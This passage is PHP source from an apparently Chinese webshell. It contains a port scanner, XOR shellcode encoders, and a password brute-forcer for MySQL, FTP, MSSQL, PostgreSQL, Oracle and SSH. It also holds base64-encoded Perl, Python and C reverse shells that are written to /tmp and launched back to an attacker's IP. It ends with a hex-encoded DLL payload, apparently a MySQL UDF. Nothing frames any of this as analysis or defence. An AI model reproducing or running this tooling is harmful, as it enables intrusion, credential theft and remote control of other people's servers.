&lt;option value=&quot;29&quot;&gt;hashes(oracle)&lt;/option&gt;
&lt;option value=&quot;30&quot;&gt;tables(oracle)&lt;/option&gt;
&lt;option value=&quot;31&quot;&gt;columns(oracle)&lt;/option&gt;
&lt;option value=&quot;32&quot;&gt;grant(oracle)&lt;/option&gt;
&lt;option value=&quot;33&quot;&gt;databases(pgsql)&lt;/option&gt;
&lt;option value=&quot;34&quot;&gt;tables(pgsql)&lt;/option&gt;
&lt;option value=&quot;35&quot;&gt;columns(pgsql)&lt;/option&gt;
&lt;option value=&quot;36&quot;&gt;pg_hba.conf(pgsql)&lt;/option&gt;
&lt;option value=&quot;37&quot;&gt;os-command(pgsql)&lt;/option&gt;
&lt;option value=&quot;38&quot;&gt;databases(db2)&lt;/option&gt;
&lt;option value=&quot;39&quot;&gt;tables(db2)&lt;/option&gt;
&lt;option value=&quot;40&quot;&gt;columns(db2)&lt;/option&gt;
&lt;option value=&quot;41&quot;&gt;db config(db2)&lt;/option&gt;
&lt;option value=&quot;42&quot;&gt;databases(informix)&lt;/option&gt;
&lt;option value=&quot;43&quot;&gt;tables(informix)&lt;/option&gt;
&lt;option value=&quot;44&quot;&gt;columns(informix)&lt;/option&gt;
&lt;option value=&quot;45&quot;&gt;hashes(informix)&lt;/option&gt;
&lt;/select&gt;
&lt;br&gt;&lt;br&gt;SQL命令:&lt;br&gt; &lt;input type=&quot;text&quot; name=&quot;sql&quot; id=&quot;sql&quot; value=&quot;{$sql}&quot; style=&quot;width:800px;&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;
&lt;/form&gt;&lt;br&gt;
END;
if(!empty($string)) { @$shell-&gt;Open($string); $result = @$shell-&gt;Execute($sql); $count = $result-&gt;Fields-&gt;Count(); for($i=0;$i &lt; $count;$i++){$Field[$i] = $result-&gt;Fields($i);} echo $result ? $sql.' 成功&lt;br&gt;' : $sql.' Faild&lt;br&gt;'; if(!empty($count)){while(!$result-&gt;EOF){for($i=0;$i &lt; $count;$i++){echo $Field[$i]-&gt;value.'&lt;br&gt;';}@$result-&gt;MoveNext();}} $shell-&gt;Close(); } } $shell = NULL; echo '&lt;/div&gt;'; return true; } function Port_i() { print&lt;&lt;&lt;END
&lt;div class=&quot;actall&quot; style=&quot;height:200px;&quot;&gt;
&lt;form method=&quot;POST&quot; name=&quot;iform&quot; id=&quot;iform&quot; action=&quot;?s=i&quot;&gt;
扫描 IP&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;ip&quot; value=&quot;127.0.0.1&quot; style=&quot;width:600px;&quot;&gt;
&lt;br&gt;&lt;br&gt;端  口&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;port&quot; value=&quot;21|22|1433|1521|3306|3389|4899|5432|5631|5800|8000|8080|43958&quot; style=&quot;width:600px;&quot;&gt;
&lt;br&gt;&lt;br&gt; &lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;开始扫描&quot;&gt;
&lt;/form&gt;&lt;br&gt;
END;
if((!empty($_POST['ip'])) &amp;&amp; (!empty($_POST['port']))) { $ports = explode('|',$_POST['port']); for($i = 0;$i &lt; count($ports);$i++) { $fp = @fsockopen($_POST['ip'],$ports[$i],&amp;$errno,&amp;$errstr,1); echo $fp ? '&lt;font color=&quot;#FF0000&quot;&gt;开放端口 ---&gt; '.$ports[$i].'&lt;/font&gt;&lt;br&gt;' : '关闭端口 ---&gt; '.$ports[$i].'&lt;br&gt;'; ob_flush(); flush(); } } echo '&lt;/div&gt;'; return true; } function shellcode_decode($Url_String,$Oday_value) { $Oday_value = hexdec($Oday_value); $$Url_String = str_replace(&quot; &quot;, &quot;&quot;, $Url_String); $SHELL = explode(&quot;%u&quot;, $Url_String); for($i=0;$i &lt; count($SHELL);$i++) { $Temp = $SHELL[$i]; $s_1 = substr($Temp,2); $s_2 = substr($Temp,0,2); $COPY .= $s_1.$s_2; } for($n=0; $n &lt; strlen($COPY); $n+=2){$Decode .= pack(&quot;C&quot;, hexdec(substr($COPY, $n, 2) )^ $Oday_value);} return $Decode; } function shellcode_encode($Url_String,$Oday_value) { $Length =strlen($Url_String); $Todec = hexdec($Oday_value); for ($i=0; $i &lt; $Length; $i++) { $Temp = ord($Url_String[$i]); $Hex_Temp = dechex($Temp ^ $Todec); if (hexdec($Hex_Temp) &lt; 16) $Hex_Temp = '0'.$Hex_Temp; $hex .= $Hex_Temp; } if ($Length%2) $hex .= $Oday_value.$Oday_value; else $hex .= $Oday_value.$Oday_value.$Oday_value.$Oday_value; for ($n=0; $n &lt; strlen($hex); $n+=4) { $Temp = substr($hex, $n, 4); $s_1= substr($Temp,2); $s_2= substr($Temp,0,2); $Encode.= '%u'.$s_1.$s_2; } return $Encode; } function shellcode_findxor($Url_String) { for ($i = 0; $i &lt; 256; $i++) { $shellcode[0] = shellcode_decode($Url_String, dechex($i)); if ((strpos ($shellcode[0],'tp:')) || (strpos ($shellcode[0],'url')) || (strpos ($shellcode[0],'exe'))) { $shellcode[1] = dechex($i); return $shellcode; } } } function Shellcode_j() { $Oday_value = '0'; $Shell_Code = 'http://blog.taskkill.net/mm.exe'; $checkeda = ' checked'; $checkedb = ''; if(!empty($_POST['code'])) { if($_POST['xor'] == 'a' &amp;&amp; isset($_POST['number'])){$Oday_value = $_POST['number'];$Shell_Code = shellcode_encode($_POST['code'],$Oday_value);} if($_POST['xor'] == 'b'){$checkeda = '';$checkedb = ' checked';$Shell_Code_Array = shellcode_findxor($_POST['code']);$Shell_Code = $Shell_Code_Array[0];$Oday_value = $Shell_Code_Array[1];} if(!$Oday_value) $Oday_value = '0'; if(!$Shell_Code) $Shell_Code = '不能发现shellcode现在链接'; $Shell_Code = htmlspecialchars($Shell_Code); } print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;jform&quot; id=&quot;jform&quot; action=&quot;?s=j&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;XOR值:&lt;input name=&quot;number&quot; value=&quot;{$Oday_value}&quot; type=&quot;text&quot; style=&quot;width:50px&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;input type=&quot;radio&quot; name=&quot;xor&quot; value=&quot;a&quot;{$checkeda}&gt;编码 shellcode with XOR &lt;input type=&quot;radio&quot; name=&quot;xor&quot; value=&quot;b&quot;{$checkedb}&gt;解码 shellcode with XOR&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;textarea name=&quot;code&quot; rows=&quot;20&quot; cols=&quot;165&quot;&gt;{$Shell_Code}&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;转换&quot;&gt;&lt;/div&gt;
&lt;/form&gt;
END;
return true; } function Crack_k() { $MSG_BOX = '等待消息队列......'; $ROOT_DIR = File_Mode(); $SORTS = explode('/',$ROOT_DIR); array_shift($SORTS); $PASS = join(',',$SORTS); for($i = 0;$i &lt; 10;$i++){$n = (string)$i; $PASS .= $n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.$n.',';} if((!empty($_POST['address'])) &amp;&amp; (!empty($_POST['user'])) &amp;&amp; (!empty($_POST['pass']))) { $SORTPASS = explode(',',$_POST['pass']); $connect = false; $MSG_BOX = '没有发现'; for($k = 0;$k &lt; count($SORTPASS);$k++) { if($_POST['class'] == 'mysql') $connect = @mysql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'ftp'){$Ftp_conn = @ftp_connect($_POST['address'],'21');$connect = @ftp_login($Ftp_conn,$_POST['user'],chop($SORTPASS[$k]));} if($_POST['class'] == 'mssql') $connect = @mssql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'pgsql') $connect = @pg_connect(&quot;host={$_POST['address']} port=5432 dbname=postgres user={$_POST['user']} password={chop($SORTPASS[$k])}&quot;); if($_POST['class'] == 'oracle') $connect = @oci_connect($_POST['user'],chop($SORTPASS[$k]),$_POST['address']); if($_POST['class'] == 'ssh'){$ssh_conn = @ssh2_connect($_POST['address'],'22');$connect = @ssh2_auth_password($ssh_conn,$_POST['user'],chop($SORTPASS[$k]));} if($connect) $MSG_BOX = '[project: '.$_POST['class'].'] [ip: '.$_POST['address'].'] [user: '.$_POST['user'].'] [pass: '.$SORTPASS[$k].']'; } } print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;kform&quot; id=&quot;kform&quot; action=&quot;?s=k&quot;&gt;
&lt;div id=&quot;msgbox&quot; class=&quot;msgbox&quot;&gt;{$MSG_BOX}&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;主机 &lt;input type=&quot;text&quot; name=&quot;address&quot; value=&quot;localhost&quot; style=&quot;width:300px&quot;&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;用户 &lt;input type=&quot;text&quot; name=&quot;user&quot; value=&quot;root&quot; style=&quot;width:300px&quot;&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;密码 &lt;textarea name=&quot;pass&quot; rows=&quot;20&quot; cols=&quot;165&quot;&gt;{$PASS}root,123456,123123,123321,admin,admin888,admin@admin,root@root,qwer123,5201314,iloveyou,fuckyou,kissme,520520,5845201314,a123456,a123456789&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;破解项目: &lt;input type=&quot;radio&quot; name=&quot;class&quot; value=&quot;mysql&quot; checked&gt;Mysql 
&lt;input type=&quot;radio&quot; name=&quot;class&quot; value=&quot;ftp&quot;&gt;FTP&lt;input type=&quot;radio&quot; name=&quot;class&quot; value=&quot;mssql&quot; checked&gt;mssql&lt;input type=&quot;radio&quot; name=&quot;class&quot; value=&quot;pgsql&quot; checked&gt;Pgsql&lt;input type=&quot;radio&quot; name=&quot;class&quot; value=&quot;oracle&quot; checked&gt;Oracle&lt;input type=&quot;radio&quot; name=&quot;class&quot; value=&quot;ssh&quot; checked&gt;SSH&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;开始爆破&quot;&gt;&lt;/div&gt;&lt;/form&gt;
END;
return true; } function Linux_l() { echo '&lt;br&gt;&lt;br&gt;'; print&lt;&lt;&lt;END
&lt;div class=&quot;actall&quot; style=&quot;height:100px;&quot;&gt;&lt;form method=&quot;POST&quot; name=&quot;lform&quot; id=&quot;lform&quot; action=&quot;?s=l&quot;&gt;
你的 IP: &lt;input type=&quot;text&quot; name=&quot;yourip&quot; value=&quot;&quot; style=&quot;width:200px&quot;&gt;
你的 端口: &lt;input type=&quot;text&quot; name=&quot;yourport&quot; value=&quot;1120&quot; style=&quot;width:100px&quot;&gt;
使用脚本: &lt;select name=&quot;use&quot; &gt;
&lt;option value=&quot;perl&quot;&gt;perl&lt;/option&gt;
&lt;option value=&quot;python&quot;&gt;python&lt;/option&gt;
&lt;option value=&quot;c&quot;&gt;c&lt;/option&gt;
&lt;/select&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;连接&quot;&gt;&lt;/form&gt;&lt;br&gt;
END;
if((!empty($_POST['yourip'])) &amp;&amp; (!empty($_POST['yourport']))) { if($_POST['use'] == 'perl') { $back_connect_pl=&quot;IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj&quot;. &quot;aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR&quot;. &quot;hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT&quot;. &quot;sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI&quot;. &quot;kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi&quot;. &quot;KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl&quot;. &quot;OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==&quot;; echo File_Write('/tmp/b4che10r_pl',base64_decode($back_connect_pl),'wb') ? '&lt;font style=font:11pt color=ff0000&gt;create /tmp/b4che10r_pl success&lt;/font&gt;&lt;br&gt;' : '&lt;font style=font:11pt color=ff0000&gt;create /tmp/b4che10r_pl faild&lt;/font&gt;&lt;br&gt;'; $perlpath = Exec_Run('which perl'); $perlpath = $perlpath ? chop($perlpath) : 'perl'; echo Exec_Run($perlpath.' /tmp/b4che10r_pl '.$_POST['yourip'].' '.$_POST['yourport'].' &amp;') ? '&lt;font style=font:11pt color=ff0000&gt;execute command faild&lt;/font&gt;' : '&lt;font style=font:11pt color=ff0000&gt;execute command successfully&lt;/font&gt;'; } if($_POST['use'] == 'python') { $back_connect_py=&quot;IyAtKi0gY29kaW5nOnV0Zi04IC0qLQ0KIyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoiIiINCmJhY2sgY29ubmVjdCBweSB2ZXJzaW9uLG9ubHkgbGludXggaGF2ZS&quot;. &quot;BwdHkgbW9kdWxlDQoiIiINCmltcG9ydCBzeXMsb3Msc29ja2V0LHB0eQ0Kc2hlbGwgPSAiL2Jpbi9zaCINCmRlZiB1c2FnZShuYW1lKToNCiAgICBwcmludCAn&quot;. &quot;cHl0aG9uIGNvbm5lY3QgYmFja2Rvb3InDQogICAgcHJpbnQgJ3VzYWdlOiAlcyA8aXBfYWRkcj4gPHBvcnQ+JyAlIG5hbWUNCg0KZGVmIG1haW4oKToNCiAgIC&quot;. &quot;BpZiBsZW4oc3lzLmFyZ3YpICE9MzoNCiAgICAgICAgdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQogICAgICAgIHN5cy5leGl0KCkNCiAgICBzPXNvY2tldC5zb2NrZXQo&quot;. &quot;c29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KICAgIHRyeToNCiAgICAgICAgcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lzLmFyZ3ZbMl&quot;. &quot;0pKSkNCiAgICAgICAgcHJpbnQgJ2Nvbm5lY3Qgb2snDQogICAgZXhjZXB0Og0KICAgICAgICBwcmludCAnY29ubmVjdCBmYWlsZCcNCiAgICAgICAgc3lzLmV4&quot;. &quot;aXQoKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKQ0KICAgIG&quot;. &quot;dsb2JhbCBzaGVsbA0KICAgIG9zLnVuc2V0ZW52KCdISVNURklMRScpDQogICAgb3MudW5zZXRlbnYoJ0hJU1RGSUxFU0laRScpDQogICAgcHR5LnNwYXduKHNo&quot;. &quot;ZWxsKQ0KICAgIHMuY2xvc2UoKQ0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIG1haW4oKQ==&quot;; echo File_Write('/tmp/b4che10r_py',base64_decode($back_connect_py),'wb') ? '&lt;font style=font:11pt color=ff0000&gt;create /tmp/b4che10r_py success&lt;/font&gt;&lt;br&gt;' : '&lt;font style=font:11pt color=ff0000&gt;create /tmp/b4che10r_py faild&lt;/font&gt;&lt;br&gt;'; $pypath = Exec_Run('which python'); $pypath = $pypath ? chop($pypath) : 'python'; echo Exec_Run($pypath.' /tmp/b4che10r_py '.$_POST['yourip'].' '.$_POST['yourport'].' &amp;') ? '&lt;font style=font:11pt color=ff0000&gt;execute command faild&lt;/font&gt;' : '&lt;font style=font:11pt color=ff0000&gt;execute command successfully&lt;/font&gt;'; } if($_POST['use'] == 'c') { $back_connect_c=&quot;I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC&quot;. &quot;BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb&quot;. &quot;SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd&quot;. &quot;KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ&quot;. &quot;sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC&quot;. &quot;Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D&quot;. &quot;QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp&quot;. &quot;Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==&quot;; echo File_Write('/tmp/b4che10r_bc.c',base64_decode($back_connect_c),'wb') ? '&lt;font style=font:11pt color=ff0000&gt;create /tmp/b4che10r_bc.c success&lt;/font&gt;&lt;br&gt;' : '&lt;font style=font:11pt color=ff0000&gt;create /tmp/b4che10r_bc.c faild&lt;/font&gt;&lt;br&gt;'; $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/b4che10r_bc.c'); echo Exec_Run('/tmp/b4che10r_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &amp;') ? '&lt;font style=font:11pt color=ff0000&gt;execute command successfully&lt;/font&gt;' : '&lt;font style=font:11pt color=ff0000&gt;execute command faild&lt;/font&gt;'; } echo '&lt;br&gt;local machine need run (nc -vv -l -p '.$_POST['yourport'].')'; } echo '&lt;/div&gt;'; return true; } function Mysql_shellcode() { return &quot;0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c001009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e557061636b000000b00100001000000000000000000000000000000000000000000000600000e02e727372630000000050010000c00100e6da000000020000000000000000000000000000600000e088010010e89a02101b0000000e000000001000106b970210b7970210ba970210c8970210a3970210fc0f0010de960210e0960210809502101dba0110ed970210ffaf0110d2960210000400007c070000c40b0000b30200006604000090c0011000000000ffffffff01000000010000000100000001000000000000000000000000000000010000008800008018000080000000000000000000000000000002006500000038000080660000006000008000000000000000000000000000000100040800005000000090000100004400000000000000000000000000000000000000000000000001000408000078000000904401005c3c000000000000000000000300420049004e00459398edb4853493541907b2de1fcbd640cd0773df2017d5f39748433f6d90c556f2b1c13f1be3bcb417f756a33186e453b17faf31e8157911b03da9aaf41f2277afffec07571bfae8214b0ff18af2f7c0ad2d95a1ff0f487658e587923bc1ce9d2c2698c74b940c5842bf55c7da2026563c174c45c6c5e08e95b030390ef0886bd124043aed5b1631b138955065fa05fbfcc1c0b81636c51c7f18bccc846ac8305f5c5134fd92a3e9cb2bb5d99ee1e21a6f5d2929597c59b61e8925c1675138746f1f549d1b8a0c35b7dab30b46a401737162d316fb50723e8a98ca5d6d298259015fe6e1c0a402790e15a965807b488c73e6915ffd6e57d333c0d86ef3a562e0bf0bccbe4bc7ccb560bc2df75d593904f638eae6a964c33f4e123a1d3c213b184373bf34c66ed68b368316156e32f6fa63e02add3b03893f73af8abd1099c48c1d0c886314167008ef255d5c2c3539fb781d6d39aa432d654c702f15df0a339530889adfefde4b9df29d2e8fa7e4317fda1b0588a22265eb53c317bc6ea94fa1981968d5a60921ff60f9e9559123aeaa8d1e91e38fb1a2fb1d2075454e8ef226538ed8307db2c99cd396b5c6da829569c3875f317a4bff429b0528d204af4284fc05207901d48e52b386e5d44c69a2e8e3086f137f1d0694ecd619ecc97af83a97d5a0598701b386bd704864c72b3858824fc94082da933d5fadb23ef3dee6528cd4cb2eefe2f2b03d17857940d70222d541b2523f4e7d5b8ee46caba89830d664defb08f798e83818cde2701b8c5d37fc6c5c045ae468efca8b8d5b62b60811c21dae6b86deffa3824e7581435c0bc67555c2d498047554b52d0bfc909911e94ce5d6d3a72659b0ee25f2b40be7d239115256d8c2687afc7e075a2557f974d9130d76e09955235ed4afbc03891d8cc489c8a6f0aa00cfa41ceffd29df70edd17679477c4edd29023c807a55e8dfe614fefe44ad759cfca628d9da21b68e2d6a7ab33d62b175fb858c94158923278f256e96eff885e3eafa12b09ecabfa54d523a3c33270510fd821a0f56e24d3bfaa815a6bd4e2eba52e52a940037728e2cbcd8278fe714384a4bfc887797b071bb440b010a9d0db60cbacee05907b7b08e20dba7f45ffd21265bc47086f8275c1c5071afaeb7ce0336e0a5facf0a7923597c7f4ee7b54512b38608c8ce06acd05cfcdd68ec58f288889ef615623409bc88dd3b09b8be22fcc199755426b4b0704ec21ae1a3e7efe21cf6952456f3743d8d76e1d02e7f7815ea30feb20f279fa9cf827d7618c1c182be35a5ab2eb9f611057b493eff526a75513347a1dce859f1d8d5cc9e842f55f82211b2fa26ce53c5f133afd31531c50324a5429b74fab0746eed031acb0d02344e1b495bca244ae6eba4dcd3da28419a064c22e895880fd2485c3e6861b6e06a4e43959b9d0633774ea85692b12408f6867903f8b9bf790973680440d4822238690617af451d0eebf942d4c98637e9ba092b38dcdc608f330722cc255a4feb5d2a3cb268518ebf43231d9630ac95ae22ff0b8640335febcaf6a3066be83f03673636639e7cb025963d4071886ef072bf9f6f5ad0e0a407734b77320cb1fc6a6a07d14d36403ac1b849eba998b5f64d59ecfa4e30200d84d236a12b1b11acae3e4d74ca5368657f93b4d80cc5356c5537ffab7d3f792a03912a01d94c03f4f097824586708ecc7cbd1db4b7e24a0f2e45121629b9c2bc92716b790246c4a4159fd9e4958fc13a4a72c1d799078d601f3eba6457ae19a68877841d343175f3b692ec219c3a059931421596335af3121670ef9602fce94de822922d7f1c357f7719b2a63de4a0c9b648297326b5a32082462e6bd83457f5c415a418209b4deecbb66f26383d9244f08e0aee60659808dbd2a4744865f6b6a0950ed88138a0c6496245c84d60caabef5facc467f114dd3b695e39fb076887147be54b8ff924aad0e159f4da839d7b67ea764b3e5906ad36bc3c476584bb38b7f009cedab0e6d89bb9ec76e3228e559b69c763bcbe2804dfbc4c6eba24173214dd72f455eaf170e5afc8b7a1ffac801dcd05a53aaef649f67f1d11cf249cdcf2e33a7d93e872d323a836a78be609996b592f3bb5fd8f6b952fd09d66647dcc055aa681b8af88597d510daae5255d2318b9b5e116b83b06c8a644010d677c683684abd9b677ac444ec7163218e4708336b0d12bbb660fe9bc21e49d2efc76d74e26c71d6c945267fd7d664fe5385abc834f661fe715b0924e9c63f5f6c88cb0ee11b44393a9113f6c17d56bd982a00cd4811653669c3a1b9535260742017659cf380fbf76ae37b92863bc94923f3990658db72c9c64bc29d4c2c03ec0c1c74e3558f66092c1d78d710d52a2c96cc6cad8729d9385016b36c9d231986cb60e8cfeb37aacf1205b9cbad985834c8b4b9d435e17dbc94967b5eb3e32e2a0423744951b1a087d85a822663de7a3f9c2253f7366d02e161b9b3a18fdee2946d741d3f2a5b0d0f3217e54d9cc97c8a62abca1b114240cce3576a7131069751af5a280721df185caace01a618f57cd8dc52e03a85048adb2d6f31d9d136817602ee2c38f694e6cb9eb2e830abf46b8a2f4ecf4fbd190e357d774e1dbe9de09650ea97486d41bb406c36d07dfa66c8347720158494c21ef841d6219aa0d3c8dd1cd33c3734e49ee574928bb0b1b28f86f0eced7c8fc50e93868455d6419ed7bffe464315490de54ab89437cd6f9f2e71fd59e4c5863ec3f83e4760edc9bc51a9c55a4b253c7966eb110259221449c131b3b328630ea1da1d8553d05fe6830902950a48d623396edd5280a1bbb165d1eab1a77f157d1b7870c4411850752bab0b6fb688d268901c2d8e456e3ee0614d1dd30a138f33661268fd83eb720f5953c280949f7760372ddfbcfd9fa54ced88fe574da013246aeea3bd41b72c6dbf603adcc21e5b7de44345d2a972ec002761a886b55579b8ff13286f668504c3290d15dbef81b1e96ad946a6466b7128d0ac11fb7fad4fe60b6c70e687c5665827a1ded9326f329c3dacb0dbd25ac1adcdc3eccab7d97db8c55b96afd5504bde724ca1489ef6108b25da9555f78111a6a04c30ae62961ade9cb8c02be27ba9984c0104ab80376719a08047d821b0bf60e1a29a6d7d377760b053ae91bf8057156e5b593a7dc8058f05e2da4ca217cf5be8881e00fa9d1f7a618820a0f0b2ba6175dbca0b6f035bc24ebe83198b5a90ebde91e8954581da67159639f40f37210a1bd8bf14dc987fd37b1a5fe69bda234e6d7f70d9ca0531039f19fd054904eea5b7a52ec468e5345437d0737b1495dc7249ea4cfa6f48c2e3e6158d5f0f1efd1bafb4d7fe0b0dce7ad98e8d3f57bb708a8aea83a0eea3ddc00394dfcdfafd308b6b24fa20c7625d2fcd6a5fae7d273ec98eea794bfe979dc3123ffc32c197bdca6321b57785908e6d19ab6f536a8df7e1e05baded7a4ebc007766c508a13394f51803beea47fac0ed97c25ed9888ddc6dc6219e704c6a132cd04cff7447b2df742108d0272366b11b2c4767464b460251de4ce3ce6d193589d14aec9b97766a6883e4dbf1dca0edf32f8980ebf2f9c935dcc56fa6e0b29798ea458e6edc0af271e6814fa425548e41fc8f641b8ad487a20812e4eb25063746b3d4244b101031580a0119d649ca5f32a68b11e7d5741a5ad7682fa8fafbe5aff113269b9a47923f81d3a028615f8c6e7b38e78e443cb2a49d91c2a7757a99df35aaa71dfd21e0b5591af970e6d2f239ff7e2d76acd9967ad6fc30d460d552f1930461e9b86a92d358618fa3b539029603a3260fc65d57a5909e35777a633d9093911fc636bfe3745a7510cb4633092223f5315f6745a604ac0365abae8968b19677f840b1502e21b638ceffd5075b3d3688eab91379dfeed65beaa5f7ca5b971dbc53c6c000b259dea5d6fd84b2e12090331a45299d807d3c12545f84710d36168ca4f277c8fa3982806faef71d73860b58f8db7a3116af13418100c8e905651b538b5c1853fb194c574a918b8f0426152253ff3db5af8289080fe0d7bf2b9d907c54eb2604d8f4e3865d8c7e8659acd1928182206c0efad42664b6ef473f74d7a8d681273590a487f250c143bd18253c3df904b620f4203757b029d8b41bfbcb9ace3d5e7673386dab5e3e486a3f49bbf89f5a4c67e0c1067c0adf6bbdfa43cd6289c1e45e46fc4f236a708684f9461787a90f6fd9a1f55690bbb3ddfcb94d960c39f58110acd1a4538b6ae85b06e4024610575bc3069a2b90b07e01096854e1e8bd00260bd495f975c8543030031c6fbcd201bf384f27f72af8c9ce354ef66a27fbc04dc0bb34f7a67518575d78bcac95243f1743b0f843f7806d1b6278766e05e90694a328230b378516ece63e46180a0c2d3972674fa8de29c864198e66173bea93f54995bfaa4b1e8638ba111187e26161d23ddbaff9a1dde6c8601b6c1c5e0658a153685de38e7a92a39d34587d67d10da2d7a01e70ac5488b16d0002229154101f0d5f6afd6636f7e376a3d5842861f8c5642b81676a5a3dc14de9bfe1e3011cb9e4cdd6a1afa87e84f86ee792a090f48f9540a23eb0928cf8d9f52a44acba76c827494bb6ef8971f1690d441f0ba8322b5cb15ee105e95ab47f560ecef4d5046c75ded3523549b3a2a0c878906af9ef17bddb57d82a437932d9b6802cf178e34f9c4764054f01902258e7d2317b9a98e78bc273e406d6fd2d33c4270cfd4596fedec01c4f9e6216f73a71e930b208d247dceee69f0d1f55a179c70b69f71c0e8a8b4cfdd89cdb1908d6d96b33d98a26456f79f26c744f9f7508983324cc354c1f20f89480c8c506fa04f59cb8ae99f8bf4ae9ba8b06f6aa052b695aa5da8143eefda5b3a4d65b0333f944861d2d53503236151731f4b262d66597865ffebc3474f3566b56f4ba520e9fd933c304ef9ca43bd6336e9b82e0e76724c1820aa1bc231ae694cf759938c29c210cb676885a65b4ae212f4382788458ea9a136bfc9bfed6f159e0844c4db54a3bac68d95cc91623f7e1476f8f736c131097daf671157f18d67116a2d273fa9e53375955bb7bb6ecb3518e7f05dd9248a1e26607708ab2a67904c44325fbe219e04512da82e93d466fa33a7d00d70d1cd45d650f3bf001bd7a2d0ae1c545fb75fb6af69bbde85e358e272b26dd2ea189db0a41c1131ec3882d5b72e3a643e02527909758ba4bd542746b60d822b35884b828a12b683aa4abd4861f7a249bbc0dbc12559e88c2bce5bf5aa35c0b17c69794abbc5765e7eabca36ebfb7318998f974d4